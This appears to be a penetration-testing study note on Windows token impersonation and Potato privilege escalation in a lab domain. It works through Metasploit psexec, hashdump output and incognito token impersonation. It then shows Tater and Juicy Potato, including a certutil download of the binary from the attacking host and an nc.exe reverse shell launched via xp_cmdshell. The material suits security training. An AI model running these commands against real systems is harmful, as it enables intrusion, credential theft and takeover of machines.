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Token Impersonation - Potato attacks

What is it

  • Token are temp keys that give access to a system or network without credentials.

How to

  • Launch Metasploit msfconsole

  • Choose the exploit: use exploit/windows/smb/psexec

  • Set: rhosts, smbdomain, smbpass, smbuser, target (we can use show targets to have a list), payload

  • Launch the attack: run

  • We get a shell:

    msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.0.2.8:4444 
[*] 10.0.2.15:445 - Connecting to the server...
[*] 10.0.2.15:445 - Authenticating to 10.0.2.15:445|marvel.local as user 'fcastle'...
[!] 10.0.2.15:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 10.0.2.15:445 - Uploading payload... oeyrkyrs.exe
[*] 10.0.2.15:445 - Created \oeyrkyrs.exe...
[*] Sending stage (200262 bytes) to 10.0.2.15
[+] 10.0.2.15:445 - Service started successfully...
[*] 10.0.2.15:445 - Deleting \oeyrkyrs.exe...
[*] Meterpreter session 1 opened (10.0.2.8:4444 -> 10.0.2.15:61871 ) at 2022-02-11 13:49:12 -0500

meterpreter >

  • Getting hashes: hashdump

    meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6cedee56d27d175f48042b53cb6b242:::

  • Use tools: load (double tab to get the list of tools)

  • load incognito

    Incognito Commands
==================

    Command              Description
    -------              -----------
    add_group_user       Attempt to add a user to a global group with all tokens
    add_localgroup_user  Attempt to add a user to a local group with all tokens
    add_user             Attempt to add a user with all tokens
    impersonate_token    Impersonate specified token
    list_tokens          List tokens available under current user context
    snarf_hashes         Snarf challenge/response hashes for every token

  • list_tokens -u

    meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
MARVEL\Administrator
MARVEL\fcastle
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Window Manager\DWM-2

Impersonation Tokens Available
========================================
No tokens available

  • Impersonate Administrator:

    meterpreter > impersonate_token marvel\\administrator
[+] Delegation token available
[+] Successfully impersonated user MARVEL\Administrator
meterpreter > shell
Process 8576 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19044.1288]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
marvel\administrator

  • If we hashdump again it will not work so we can rev2self to get back to the initial user

  • Any user that has logged in the target will have a token there until the target reboots

Potato Attacks

  • These attacks requires the SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege to be enabled on the machine.

Hot potato

  • We can use Tater

  • powershell.exe -nop -ep bypass

  • Import-Module .\Tater.ps1

  • Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"

  • Your user should be in the administrators group net localgroup administrators to check

  • See here an example of a potato attack

Juicy potato

Enumeration after initial shell with MSSQL

  • Say we have a shell on an mssql instance mssqlclient.py sql_dev@IP-ADD -windows-auth

  • We can enable command shell using enable_xp_cmdshell

  • And then we will be able to type every command we need this way: xp_cmdshell whoami /priv

  • For juicy potato we need to check if we have SeImpersonatePrivilege enabled image

  • We do!

Exploitation

  • Let's get JuicyPotato binary in our attacking machine wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

  • Let's serve the file to our target using python http server python3 -m http.server 80

  • Let's take it in our shell using certutil xp_cmdshell certutil.exe -urlcache -f http://10.10.14.117/JuicyPotato.exe C:\Tools\JuicyPotato.exe

  • Let's get an admin shell xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.117 8443 -e cmd.exe" -t * where -l is the COM server listening port, -p is the program to launch (cmd.exe), -a is the argument passed to cmd.exe, and -t is the createprocess call. We are trying both the CreateProcessWithTokenW and CreateProcessAsUser functions, which need SeImpersonate or SeAssignPrimaryToken privileges respectively.

  • And we should have an authority system shell image

Resources

LogoRotten Potato – Privilege Escalation from Service Accounts to SYSTEMfoxglovesec
Rotten Potato - Foxglove Security
LogoGitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.GitHub
Juicy Potato
LogoWindows Privilege Escalation for Beginners
TCM Security - Windows privilege escalation
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